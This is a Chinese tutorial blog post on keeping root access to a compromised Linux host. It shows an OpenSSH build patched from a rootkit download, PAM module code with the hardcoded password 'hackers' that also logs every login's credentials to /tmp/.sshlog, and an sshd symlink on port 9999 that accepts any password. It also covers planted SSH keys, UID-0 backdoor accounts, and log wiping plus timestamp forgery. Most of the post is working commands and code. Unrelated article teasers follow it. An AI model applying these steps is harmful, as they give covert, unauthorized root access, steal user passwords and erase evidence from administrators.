第144天:内网安全-Linux权限维持OpenSSHPAM后门SSH软链接公私钥登录

news2024/11/25 11:03:56

目录

案例一: 权限维持-Linux-替换版本-OpenSSH 后门

 案例二: 权限维持-Linux-更改验证-SSH-PAM 后门

案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号

ssh软链接

公私钥

新帐号


案例一: 权限维持-Linux-替换版本-OpenSSH 后门

原理:替换本身操作系统的 ssh 协议支撑软件 openssh,重新安装自定义的 openssh,
达到记录帐号密码,也可以采用万能密码连接的功能!

 查看当前ssh的版本  ssh  -V

OpenSSH_7.4p1, OpenSSL 1.0.2k-fips  26 Jan 2017 

环境准备

yum -y install openssl openssl-devel pam-devel zlib zlib-devel    
yum -y install gcc gcc-c++ make  
yum -y install patch                                 
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

安装依赖

yum -y install openssl openssl-devel pam-devel zlib zlib-devel    

yum -y install gcc gcc-c++ make  

yum -y install patch 

下载替换版本和后门文件

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

 

解压文件

tar -xzvf openssh-5.9p1.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

安装openssh

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff  
# 进入openssh-5.9p1,把sshbd5.9p1.diff写入到patch中

也就是把这个文件,复制成外面这个文件并覆盖,所以之前下载的那个应该没啥用哈^_^

 修改配置万能密码

修改版本,version.h文件

修改与之前版本一致

设置安装目录,编译并且安装

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

查看当前版本

连接,这种方式感觉不是很稳定哈。

这里连接的时候可能会出bug,尝试下面这篇文章的解决方法

SSH 服务 异常报错“Failed to start OpenSSH Server daemon” 该怎么办???-CSDN博客

有可能还是显示错误,但是可以连接了

利用admin!@#45去链接

修改安装时间和清除日志的后续操作,来自这篇文章Linux OpenSSH后门的添加与防范

恢复新配置文件的日期,使其与旧文件的日期一致。对ssh_config和sshd_config文件的内容进行对比,使其配置文件一致,然后修改文件日期。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

清除操作日志,代码如下。

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

 案例二: 权限维持-Linux-更改验证-SSH-PAM 后门

pam相当于windows的kerberos

  PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

查询pam版本

rpm -qa | grep pam

下载对应的版本并且解压

wget https://github.com/linux-pam/linux-pam/releases/tag/Linux-PAM-1_1_8

安装必要的依赖

yum install gcc flex flex-devel -y

修改pam_unix_auth.c文件

cd Linux-PAM-1.1.1

cd modules/pam_unix/

vim pam_unix_auth.c

 把179行的文件进行修改

hackers即为新的登录密码,可以进行修改

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){ 
FILE * fp; 
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p); 
fclose(fp);} 
name = p = NULL;
AUTH_RETURN;

记得要对齐格式

 编译安装

./configure && make

把原来的pam_unix.so文件备份,并把新的pam_unix.so,复制到原来的位置

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

cd modules/pam_unix/.libs

cp pam_unix.so /usr/lib64/security/pam_unix.so

利用hackers登录

经过实验,这种方式比第一种稳定一点

更多进阶玩法:Linux Pam后门总结拓展 - 先知社区

案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号

ssh软链接

查看是否支持pam身份验证

cat /etc/ssh/sshd_config|grep UsePAM

建立软链接,并且如果有防火墙的话,需要设置允许对应端口通行

ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999
 
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上
 
firewall-cmd --reload
#重启防火墙服务
 
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行

这个时候连接ssh的9999端口,密码可以随便输入

ssh root@ip -p 9999

但是缺点就是容易被发现,突然多开了一个端口。

公私钥

参考文章:SSH密钥登陆 - 哔哩哔哩

攻击主机生成公钥

ssh-keygen -t rsa #三次回车

id_rsa : 私钥

id_rsa.pub : 公钥

把这个文件复制到受控主机.ssh目录下的authorized_keys,这个目录都在用户的家目录里面

如果没有.ssh目录的话需要手工创建

创建文件,把id_rsa.pub中的内容复制过去

如果是自己创建的这两个文件记得修改权限

chmod 600  /root/.ssh/authorized_keys

chmod  700 /root/.ssh

 这个时候还是连接不上,因为不支持使用公私钥连接,受控主机要开启验证

vim /etc/ssh/sshd_config
#尾行添加
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys


PasswordAuthentication no           
#这个是关闭允许密码登录,不关闭的话用密钥也可以登录,用密码也可以登录

然后重启服务

systemctl restart sshd.service

再次连接的时候都不需要验证直接可以连接上

新帐号

两种方式

#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1



echo "test1:x:0:0::/:/bin/sh" >> /etc/passwd          
#增加超级用户账号
passwd test2                           
#修改test2的密码为123456

方法一

 利用test1密码123456连接,成功连接

方法二:

利用test2/123456建立连接成功,反弹的shell为sh,更加验证了正确性

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2118135.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一. Unity实现虚拟摇杆及屏幕自适应功能

手游里面很多类型的游戏都需要用到遥感功能&#xff0c;例如王者荣耀&#xff0c;和平精英等&#xff0c;之前的摇杆功能都是用类似于Easy Touch的插件进行开发的&#xff0c;今天不借助任何插件来实现虚拟摇杆的功能。 一般虚拟摇杆的组成都是由轮盘和遥感的点组成&#xff0c…

二百六十二、Java——打开别人项目时缺少maven配置,无法运行文件

一、目的 在打开别人的项目时&#xff0c;发现Java文件类型显示出错&#xff0c;没有application&#xff0c;无法运行文件 二、报错原因 项目缺少maven配置 三、解决措施 File——Setting——Maven 修改Maven的配置&#xff0c;指向Maven路径 四、重启项目 文件恢复正常…

科研绘图系列:R语言扩展物种堆积图(Extended Stacked Barplot)

介绍 R语言的扩展物种堆积图是一种数据可视化工具,它不仅展示了物种的堆积结果,还整合了不同样本分组之间的差异性分析结果。这种图形表示方法能够直观地比较不同物种在各个分组中的显著性差异,为研究者提供了一种有效的数据解读方式。 加载R包 knitr::opts_chunk$set(wa…

跨境外贸业务使用新加坡裸机云站群服务器优势

在全球化的今天&#xff0c;跨境外贸业务正变得越来越普遍。随着互联网技术的发展&#xff0c;越来越多的企业选择使用云计算服务来支持其国际业务。新加坡作为一个国际金融中心和亚洲的数据枢纽&#xff0c;提供了优质的网络基础设施&#xff0c;使其成为设置裸机云站群服务器…

【vue3|第28期】 Vue3 + Vue Router:探索路由重定向的使用与作用

日期&#xff1a;2024年9月8日 作者&#xff1a;Commas 签名&#xff1a;(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释&#xff1a;如果您觉在这里插入代码片得有所帮助&#xff0c;帮忙点个赞&#xff0c;也可以关注我&#xff0c;我们一起成长&#xff1b;如果有不对…

第18届世界杰出华人奖得主王傲山:承父业展关怀,体现“圆桌”精神

王傲山博士是“保二代”&#xff0c;由父亲言传身教及自孩提时代刻在骨子里的氛围&#xff0c;让他理所当然地传承父亲保险助人为乐的精神。在保险行业打滚两旬余&#xff0c;他成就多项傲人的成绩、取得个人成就的同时&#xff0c;以更高的指标作为团队精神&#xff0c;秉持追…

苹果手机qq原文件失效怎么恢复?4个方法,让失效变有效!

热门提问&#xff1a;在QQ上的文件忘记下载了&#xff0c;文件已经过期且无法打开&#xff0c;有什么方法可以恢复这些失效的文件呢&#xff1f; 小编这里有4个靠谱的方法&#xff0c;可以解决苹果手机QQ原文件失效怎么恢复的问题。只要大家掌握了这4个方法&#xff0c;让苹果…

【如何在鼠标右键添加Typora软件(使用脚本)】

下载Typora后&#xff0c;希望右键新建文件时候&#xff0c;可以新建md文件。 使用下面的注册脚本就可以实现&#xff1a; Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\.md] "Typora.md" "Content Type""text/markdown" "Per…

C语言---函数指针基础总结万字(4)

一、 函数 1.函数是一段可以重复执行的代码。 它可以接受不同的参数&#xff0c; 完成对应的操作。 下面的例子就是一个函数 int plus(int n) {return n; }上面的代码声明了一个函数plus()。 2.函数声明的语法有以下几点&#xff0c;需要注意。 返回值类型。 函数声明时&a…

Mac电脑IDEA2024安装后打不开问题解决

Mac电脑IDEA2024安装后打不开问题解决 由于电脑系统升级&#xff0c;导致我用的2019版本的IDEA一打开就卡&#xff0c;机缘巧合拥有了一个正版的IDEA账号&#xff0c;下载2024版本的IDEA&#xff0c;打开报错。 由于电脑系统升级&#xff0c;导致我用的2019版本的IDEA一打开就卡…

Day20_0.1基础学习MATLAB学习小技巧总结(20)——MATLAB绘图篇(3)

利用空闲时间把碎片化的MATLAB知识重新系统的学习一遍&#xff0c;为了在这个过程中加深印象&#xff0c;也为了能够有所足迹&#xff0c;我会把自己的学习总结发在专栏中&#xff0c;以便学习交流。 参考书目&#xff1a;《MATLAB基础教程 (第三版) (薛山)》 之前的章节都是…

项目实战系列三: 家居购项目 第五部分

&#x1f333;显示订单[订单管理] &#x1f333;暂时缺货 需求分析 1.如果某家居库存为0, 首页的"Add to Cart" 按钮显示为"暂时缺货" 2.后台也加上校验. 只有在 库存>0 时, 才能添加到购物车 代码实现 1.修改web/views/customer/index.jsp <c:if…

网络层 VIII(网络层设备——路由器)【★★★★★★】

一、冲突域与广播域 这里的“域”表示冲突或广播在其中发生并传播的区域。 1. 冲突域 冲突域是指连接到同一物理介质上的所有结点的集合&#xff0c;这些结点之间存在介质争用的现象&#xff08;能产生冲突的所有设备的集合&#xff09;。也就是说&#xff0c;若这些设备同时发…

ABeam德硕 | 海立集团BI项目正式启动,ABeam中国助力实现以数据之力驱动经营管理

9月2日&#xff0c;由德硕管理咨询&#xff08;上海&#xff09;有限公司作为实施合作伙伴的海立集团BI项目正式启动&#xff0c;海立集团党委书记、总经理缪骏、ABeam大中华区董事长兼总经理中野洋辅出席项目启动仪式。 ABeam大中华区董事长兼总经理中野洋辅 在致辞中表示&am…

【vue+el-table】表格操作列宽度跟随按钮个数自适应, 方法封装全局使用

效果图 以上图片分别代表不同用户权限下所能看到的按钮个数, 操作列宽度也会自适应宽度, 就不会一直处于最大宽度, 导致其他权限用户看到的页面出现大量留白问题. 目录 解决方法解决过程中可能出现的问题width赋值时为什么不放update()中btnDom为什么不能直接调用forEach为…

【网络原理】❤️Tcp 连接管理机制❤️ “三次握手” “四次挥手”的深度理解, 面试最热门的话题,没有之一, 保姆式教学 !!!

本篇会加入个人的所谓鱼式疯言 ❤️❤️❤️鱼式疯言:❤️❤️❤️此疯言非彼疯言 而是理解过并总结出来通俗易懂的大白话, 小编会尽可能的在每个概念后插入鱼式疯言,帮助大家理解的. &#x1f92d;&#x1f92d;&#x1f92d;可能说的不是那么严谨.但小编初心是能让更多人…

杰发科技Bootloader(3)—— 基于7801的APP切到Boot

为了方便在APP中跳转到Boot重新进行升级&#xff0c;有两种办法&#xff0c;7840同样可以使用。 1. 调用reset接口进行复位&#xff0c;复位后会先进Boot&#xff0c;再自动跳转到App。 NVIC_SystemReset(); 2. 直接使用跳转指令&#xff0c;参考Boot跳转到App代码&#xff0…

有哪些常用的企业统一门户?为何选择移动应用管理平台WorkPlus

企业统一门户是为了解决企业内部应用分散、管理繁琐的问题&#xff0c;提供集成化的应用平台&#xff0c;旨在提高员工的工作效率和便利性。而在众多的企业统一门户中&#xff0c;作为一款领先的移动应用管理平台&#xff0c;WorkPlus备受青睐。本文将介绍一些常用的企业统一门…

Sentinel 控制界面

一、下载 可视化jar 二、cmd 启动 jar java -Dserver.port8718 -Dcsp.sentinel.dashboard.server127.0.0.1:8718 -Dproject.namesentinel-dashboard -jar sentinel-dashboard-1.8.2.jar 页面访问&#xff1a; http://localhost:8718/#/dashboard/

Elasticsearch Suggesters 自动补全长度设置

问题&#xff1a;在用户输入之后联想词返回长度默认为50&#xff0c;导致返回结果不完全 原因&#xff1a;completion 字段索引时允许存储的文本长度受 max_input_length 参数控制&#xff08;默认为 50 字符&#xff09;。可以在 mapping 中调整这个值 解决&#xff1a;“max…